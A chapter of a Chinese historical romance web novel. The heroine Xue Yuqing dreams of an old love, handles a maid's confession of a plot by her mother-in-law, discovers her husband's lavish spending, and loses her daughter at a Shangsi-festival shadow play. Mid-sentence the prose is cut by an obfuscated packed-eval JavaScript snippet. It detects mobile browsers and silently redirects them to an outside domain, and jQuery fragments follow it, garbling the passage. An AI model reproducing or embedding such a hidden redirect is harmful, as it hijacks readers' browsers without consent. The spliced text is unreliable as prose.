好似隔着罩子,隔着密林,她听见远处有人在唤她的乳名,往日里唯有她最亲近的人会这般唤她。
已然许久未有人这般唤她了。
“多谢你的绿豆汤。”
说话之人嗓音温润悦耳似是玉珠落盘。
她一抬头,透过摇曳的珠串,望见一张俊美柔和的脸。
身着泛白青麻衫的少年,身姿挺拔,愈发衬得气质温润,眼神平和,如同春日潺潺溪水。
梦里的‘她’,越过珠帘,纤指捻住他一角衣袖,倾身靠近,随即嫣然一笑:“表兄,随我来,有样东西予你。”
珠帘晃荡,玉珠相碰发出清脆的响声。
她贴的太近,身上的冷香窜入他的鼻腔,青衫少年的耳廓随即带上了薄红,任她拉着走,又近乎奔走,他面上漾着笑意,好似无可奈何。
二人奔去了一处青竹密林。
她停下脚步,从袖中变戏法似地取出一个狭长木匣,塞进他怀里,浅笑盈盈:“生辰礼。”
“阿郎,生辰快乐!”温和的嗓音如同穿叶而过的微风,“顺遂无虞,皆得所愿。”
青衫少年瞧着她的眼神温柔至极,他眼里没有青绿的竹林,也无手中的木匣,唯余眼前这抹悠然的鹅黄。
低头他又小心翼翼地打开盒子,看见里面装着一根上等品质的狼毫,扬眉露出惊喜的神色。
倏地他脸侧一热,好似有什么温温软软的东西贴了上来。
如蜻蜓点水般,她主动吻了他,心也随之一动。
青衫少年好似被钉在原地,瞬间面红耳赤,说话磕磕碰碰,“媏……媏……”,又沉默地垂下了头,一言不发。
梦里的她瞧着他这副模样心满意足,笑得肆意,笑得鲜活,纤眼一弯,凑到他眼前,挑眉语气有些促狭:“表兄是要端些什么啊?”
她笑弯了腰,盎然自在,无尽的欢腾似是要从身体里冲出来。
倏地,似是有些乐极生悲,她心中竟产生了零落孤觉之意,猛然敛尽了笑意。
一抬头,方才还在面前的青衫少年,没了踪影。
恐惧涌上心头,她瞬间怒不可遏,奔向四周的密林,踏入雾中,却再也寻不到那青衫少年的踪影。
她痴痴地看着周围,颓败地瘫坐在地下。
欢愉雀跃总是这般如临深渊,如履薄冰,便如同掬水在手,一松手转而消逝。
寂静,空荡荡。
她只是想将幸福握在手里,又有什么错。
四周留有着竹林的雾霭,薛玉卿猛地睁开眼,胸口剧烈起伏。
她竟梦到了赵缙。
她下意识抚向身侧,又空空如也,连青晏也不知何时已离去。
片刻,难以言说的沮丧包裹着她,她心中钝痛,却也清醒过来。
床下的翠微见她惊醒,连忙卷起床帘,低声道:“夫人,您醒了?素玉来了。”
这回薛玉卿才真回了魂来,问道:“何时候来的?她来做什么?”
“等了一盏茶左右,她说她是奉老夫人之命,来给夫人送药的。”
翠微服侍着薛玉卿起身,语气压着不满。
薛玉卿眉头微蹙,声音中带着些刚醒的微哑,冷淡地问道:“什么药?”
“说是老夫人请人开的四物汤……就是助孕的汤药。”翠微知晓老夫人这是又嫌自家小姐这些年来无子。
“端过来吧。”
薛玉卿对并无为难之意,明白她不过是受季氏支使。
何况她的确想再要再要一个孩子,只是这几年总是没信……她也寻大夫看过,大夫均说她身体康健,若是连青晏的问题,她还得想想如何开口。
汤药被端了过来,苦涩的气味直冲鼻腔。
薛玉卿端起来,一口气饮尽。那苦味的药汁滑过喉咙,有些难忍。她迅速漱了口,拿了几颗蜜饯放入口中,才勉强压下那股反胃。
“行了,让她回去复命吧。”薛玉卿挥了挥手,语气带着不易觉察的疲惫与疏离。
“夫人,婢子有事……求见夫人。”卧房外,素玉的声音透着一丝紧绷。
翠微看向薛玉卿。薛玉卿目光淡扫过门口,略一颔首,神情疏冷。
翠微看向薛玉卿,明显询问她的意思。
薛玉卿颔首同意,“叫她进来罢。”
素玉进来时,身上那件质地颜色都与薛玉卿常服有几分相似的。薛玉卿心知肚明,这必是季氏的手笔。
素玉扑通一声跪倒在地,纤弱的脊背绷得僵硬,头垂下:“夫人……婢子……婢子有一事,不敢隐瞒!”
薛玉卿端坐于椅上,并未立刻叫她起来,只淡淡道:“何事?”语气平和,却自有一种无形的距离感。
素玉声音发颤:“老夫人……老夫人吩咐,要婢子七日后趁夫人不在,伺机给郎君下些腌臜的药,以……以促成”她语不成调,肩膀微微发抖,声音被硬生生堵在喉咙里。
闻言,翠微满是愤愤之色,一副欲言又止的模样,薛玉卿悄然按下她的手,面不改色,心道:季氏怎敢肯定她七日后一定不在?于是问道:“腌臜药?”,薛玉卿重复了一句,语调依旧平稳,无波无澜,目光静静地落在素玉低垂的发顶,“母亲她当真是这般说的?”
见不语,薛玉卿继续道:“人人皆想飞上枝头翻身做主子,好脱离奴籍,素玉,你不动心吗?”
面前跪着的女子垂着的眼悄悄目移,嗓中继续哽咽道:“夫人,婢不愿做妾,更没有觊觎郎君。也不是蠢人,郎君那般爱重夫人怎可能容旁人插入,只是从前老夫人从牙婆那救了......感激老夫人恩情,却也做不出......如此下贱之事!”
薛玉卿静静看着她,室内针落可闻。
见薛玉卿不语,素玉连忙又道:“婢子只求安安稳稳活着,绝无攀附之心!求夫人垂怜!婢子愿为夫人做牛做马,只求一条生路!”
片刻,薛玉卿亲自上前扶起素玉,一改方才冷冰冰的模样,面上似是信了七分,温声道:“素玉,我信你。”
薛玉卿收回手,转身走向窗边,背对着她,声音不高,却字字清晰:“七日后,药,你照旧送去。老夫人问起,便说按吩咐办了。”
“什么!”素玉震惊,睁大眼睛,开口道:“夫人?”
薛玉卿浅笑,“便按我说的办。”
此刻,素玉抬首,恰好对上薛玉卿的眼眸。
她的唇角弯弯,眼眸深深,其中却没有丝毫笑意。
————
春三月,上巳日。
三月三日天气新,长安水边多丽人。
春雨停歇,草长莺飞,柳绿花繁。
虽已将至傍晚,京城却未沉寂。上巳佳节,“祓除畔浴”,“饮酒泛舟”,水边依旧人声鼎沸。
点着几盏明灯,卧房内薛玉卿换着衣裙。
连青晏未归,自那几日早归后,他回府的时间愈发迟了,有时甚至第二天清晨才归来。但今日答应了容儿出去放花灯,依旧得去的。
“夫人,药好了,快趁热喝了。”翠微将刚煎好的药端来。
前几日,薛玉卿得了风寒,这几日将快痊愈。
薛玉卿一口气饮完药,拿出怀里的帕子擦了擦嘴角,顺口问道:“翠微,这个月母亲的信到了吗?”
“夫人,昨日便到了,婢这就去取来。”
待翠微将信件送入她手中,薛玉卿靠在床上打开察看。
信笺上依旧是母亲报喜不报忧的絮叨,字里行间满是关切与隐忧。
想到家中那个不成器的父亲,薛玉卿眉宇间染上淡淡的阴翳。
抬头瞧见自家娘子惨白的侧颜,翠微忍了又忍本不想说,终是将一本账册轻轻放在榻边上,开口道:“夫人,郎君这个月,又从账上支走了近千两银子。”她的声音压得很低。
近千两?薛玉卿心中一惊,匆匆翻开账册。
眸光扫过那一笔笔录入的支出。不仅数额大,次数也不低,几乎是每天都有。这绝非寻常打点所需。
往日应酬哪里需要如此靡费!她心中警铃作响,面上却未显露分毫惊怒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315305|182966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只是捏皱了账本。
他竟如此挥霍无度。
嘴上只是淡淡道:“知道了。”合上账册,又道,“许是他…有他的难处。晚些时候,我问问。”
“娘,阿娘!我们什么时候出发啊?”
容儿急切地声音从屋外传来,打破了了屋内的一片凝滞。
见状,薛玉卿深吸一口气,收去所有思虑,起身时,面上已是温淡的笑意,温和道:“这就走。”
马夫将一行人放在街市的巷口。
前方已是人潮涌动,薛玉卿抱着小容儿下车,翠微紧随其后。
长街两侧,皆是卖花灯的小贩,将整条街映照得亮如白昼,流光溢彩。
街道上,百姓摩肩接踵,喧哗热闹。
京城的上巳节比庐州的盛大百倍,容儿哪里见过这种派式,兴奋至极。薛玉卿始终护在女儿身侧,步履从容,又给女儿买了许多精细的小玩意和民间吃食。
走得久了,容儿也显出几分疲态。
翠微眼尖,看到一处临水的茶摊尚有空位,忙道:“夫人,容姐儿怕是累了,前面茶摊歇歇脚吧?”
薛玉卿颔首同意。
茶摊临水搭着简易的棚子,晚饭袭来染着几分湖畔的湿润气。
摊内也已坐了几桌客人,热闹非常。
摊子的中心,一盏明亮的油灯高悬,撒着昏黄的光,照亮了一个小小的白色纱幕。
一位须发皆白的老人坐在幕后的条凳上,手指灵巧地捻动着几根竹签。
容儿注意力立马被吸引过去了,小手用力拽着薛玉卿的衣袖:“阿娘!看!小人在动!是皮影戏!”拉着薛玉卿便往人群里挤。
薛玉卿顺着女儿,挤到人群边缘,站定。望向那方昏黄的纱幕。
而心神却有些游离,她在想那近千两的账目,心不断沉了下去。
只见那老人抿了口茶,一拍桌子,嗓音沙哑,缓缓道:“接《莺莺传》下一回,张生弃莺莺。”
随即,只见幕上,一个身着儒生袍服的男影被竹签牵引着,身影晃动。
一个年轻男声从幕后传来,正是张生的声音:“嗟乎!大凡天之所命尤物也,不妖其身,必妖于人!使崔氏子遇合富贵,乘宠娇,不为云为雨,则为蛟为螭,吾不知其变化矣!予之德不足以胜妖孽,是用忍情!”
话音刚落,一个穿着素雅裙裳且身姿窈窕的女影被缓缓推出,步步向着那背身欲走的张生靠近。
她的动作带着迟疑,影子在纱幕上微微晃动。
一个忧伤的女声响起,自是女主崔莺莺:“始乱之,终弃之,固其宜矣,愚不敢恨……”
紧接着,女影抬起一只手,似想触碰张生的背影,又无力地垂下,
“玉取其坚润不渝,环取其终始不绝。兼乱丝一絇,文竹茶碾子一枚。此数物不足见珍,意者欲君子如玉之真,俾志如环不解。玉因瑕见玷,竹以节全贞,因志在捧心,因物达情,永以为好耳。心迩身遐,拜会无期,幽愤所钟,千里神合。千万珍重!春风多厉,强饭为嘉。慎言自保,无以鄙为深念。”
“愚情恳恳,永谓终托。”
皮影崔莺莺的身影在纱幕上垂下头,手捂脸。
那说书的老人指法一变,张生的影人猛地一甩袖,决绝地侧过身去,姿态冷漠疏离。
周围有看客不停发出唏嘘声,容儿虽不太懂词句,却也感受到了其中的冷漠,小嘴微嘟,紧紧依偎着薛玉卿。
薛玉卿静静伫立注视着戏台,面上无波无澜。
心神却早已置身茶摊之外。
她也读过这个故事,也曾鄙夷张生小人行径始乱终弃,赞莺莺敢爱敢恨。
始乱终弃……
只是这个故事里,她谁又是谁呢?
……
倏然,耳畔传来翠微惊惶的声音:“夫人!容姐儿…容姐儿不见了!”
薛玉卿猛地回神,低头一看身旁空空,方才还紧紧靠着她的女儿,竟不见了踪影
瞬间,她瞳孔骤缩,思绪一空。